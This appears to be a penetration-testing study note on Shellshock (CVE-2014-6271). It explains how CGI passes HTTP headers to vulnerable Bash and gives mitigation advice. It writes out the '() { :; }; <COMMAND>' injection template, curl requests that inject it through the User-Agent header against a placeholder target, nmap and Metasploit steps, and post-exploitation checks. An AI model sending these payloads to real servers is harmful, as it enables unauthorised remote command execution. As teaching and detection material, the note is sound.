On this page 26 sections
- What Shellshock is
- CVE-2014-6271
- Why Bash is involved
- The vulnerable pattern
- Local Bash check
- Interpret the local test
- What CGI is
- Why CGI matters for Shellshock
- HTTP headers as environment variables
- Typical attack surface
- Enumerate CGI endpoints
- Manual detection concept
- Why User-Agent is commonly used
- Avoid assuming every CGI script is vulnerable
- Nmap Shellshock detection
- HTTPS Shellshock testing
- Metasploit
- Why Shellshock can become RCE
- Execution context
- Post-detection checks
- Shellshock requirements
- Mitigation
- Check Bash version
- Shellshock vs generic web enumeration
- Detection workflow
- Quick reference
What Shellshock is
Shellshock is a vulnerability affecting older versions of GNU Bash. The issue allows commands appended after a specially crafted function definition stored in an environment variable to be executed when Bash processes that variable.
CVE-2014-6271
CVE-2014-6271 is the original vulnerability commonly associated with Shellshock. Additional related Bash issues were discovered afterward, but CVE-2014-6271 is the main identifier to remember.
Why Bash is involved
Bash historically supported exporting shell functions through environment variables. Vulnerable versions continued parsing content after the function definition, which could cause additional commands to execute.
The vulnerable pattern
The characteristic Shellshock pattern begins with an empty Bash function definition followed by additional shell commands.
() { :; }; <COMMAND>Local Bash check
A Bash installation can be tested locally by placing the crafted function definition into an environment variable and starting a new Bash process.
env x='() { :;}; echo vulnerable' bash -c 'echo test'Interpret the local test
If the unexpected word vulnerable is executed before the normal command output, the Bash version exhibits the original Shellshock behaviour. Patched versions should not execute the appended command.
What CGI is
CGI, or Common Gateway Interface, is a mechanism that allows a web server to execute external programs or scripts and use their output to generate HTTP responses.
Why CGI matters for Shellshock
Some CGI environments convert HTTP request metadata into environment variables before executing a script. If the CGI program invokes vulnerable Bash, attacker-controlled HTTP headers can potentially reach Bash as environment variables.
HTTP headers as environment variables
CGI implementations commonly transform request headers into environment variables. For example, the User-Agent header may become HTTP_USER_AGENT. This creates the bridge between an HTTP request and vulnerable Bash processing.
Typical attack surface
A common Shellshock exposure requires a CGI endpoint, a vulnerable Bash installation and a code path in which attacker-controlled environment variables are processed by Bash.
Enumerate CGI endpoints
Before testing Shellshock, identify whether the web server exposes CGI directories or scripts. Common historical locations include /cgi-bin/.
curl -i http://<TARGET>/cgi-bin/nmap -p 80 --script http-enum <TARGET>Manual detection concept
A controlled Shellshock test sends the characteristic Bash function pattern through an HTTP header to a suspected CGI endpoint and checks whether a harmless marker command is executed.
curl -H 'User-Agent: () { :; }; echo; echo SHELLSHOCK_TEST' http://<TARGET>/cgi-bin/<SCRIPT>Why User-Agent is commonly used
User-Agent is commonly demonstrated because CGI may expose it to the executed program through the HTTP_USER_AGENT environment variable. Other request headers can potentially reach the CGI environment as well.
Avoid assuming every CGI script is vulnerable
The presence of /cgi-bin/ alone does not prove Shellshock. The backend must ultimately involve a vulnerable Bash process that parses attacker-controlled environment variables.
Nmap Shellshock detection
Nmap includes an NSE script designed to test suspected CGI endpoints for Shellshock behaviour.
nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/<SCRIPT> <TARGET>HTTPS Shellshock testing
If the CGI endpoint is served over HTTPS, the same vulnerability concept applies because TLS only protects transport. It does not remove the underlying Bash parsing vulnerability.
curl -k -H 'User-Agent: () { :; }; echo; echo SHELLSHOCK_TEST' https://<TARGET>/cgi-bin/<SCRIPT>Metasploit
Metasploit includes modules for Shellshock exploitation against compatible CGI configurations. Search the framework for shellshock modules and review the target URI and required options before use.
search shellshockinfoshow optionsWhy Shellshock can become RCE
If attacker-controlled data reaches vulnerable Bash and Bash executes the appended command, the attacker may gain command execution with the privileges of the web server or CGI process.
Execution context
Successful command execution does not necessarily mean root access. Commands normally execute under the account used by the web server or CGI process, such as www-data, apache or another restricted service account.
Post-detection checks
After confirming the vulnerability in an authorised lab, first identify the execution context and system information rather than assuming administrative privileges.
whoamiidhostnameShellshock requirements
The practical conditions to remember are: vulnerable Bash, attacker-controlled environment data and a program or service that invokes Bash in a way that processes that environment. CGI was a major remote attack vector because HTTP headers could become environment variables.
Mitigation
The primary mitigation is to update Bash to a patched version. Systems should also remove unnecessary CGI functionality, reduce exposed attack surface and run web services with restricted privileges.
Check Bash version
The installed Bash version can provide useful context, but patch status should not be determined from the version string alone because distributions may backport security fixes.
bash --versionShellshock vs generic web enumeration
Generic web enumeration may discover CGI scripts and server information, but Shellshock is a specific vulnerability test. It belongs separately from the general Web Server Enumeration note.
Detection workflow
Identify the web server and CGI endpoints, determine whether Bash may be involved, perform a harmless marker test or use the Nmap Shellshock script, and then confirm the execution context if the vulnerability is present.
nmap -sC -sV -p 80,443 <TARGET>nmap -p 80 --script http-enum <TARGET>nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/<SCRIPT> <TARGET>curl -H 'User-Agent: () { :; }; echo; echo SHELLSHOCK_TEST' http://<TARGET>/cgi-bin/<SCRIPT>Quick reference
These are the Shellshock concepts and commands worth remembering.
() { :; }; <COMMAND>env x='() { :;}; echo vulnerable' bash -c 'echo test'curl -H 'User-Agent: () { :; }; echo; echo SHELLSHOCK_TEST' http://<TARGET>/cgi-bin/<SCRIPT>nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/<SCRIPT> <TARGET>search shellshockbash --version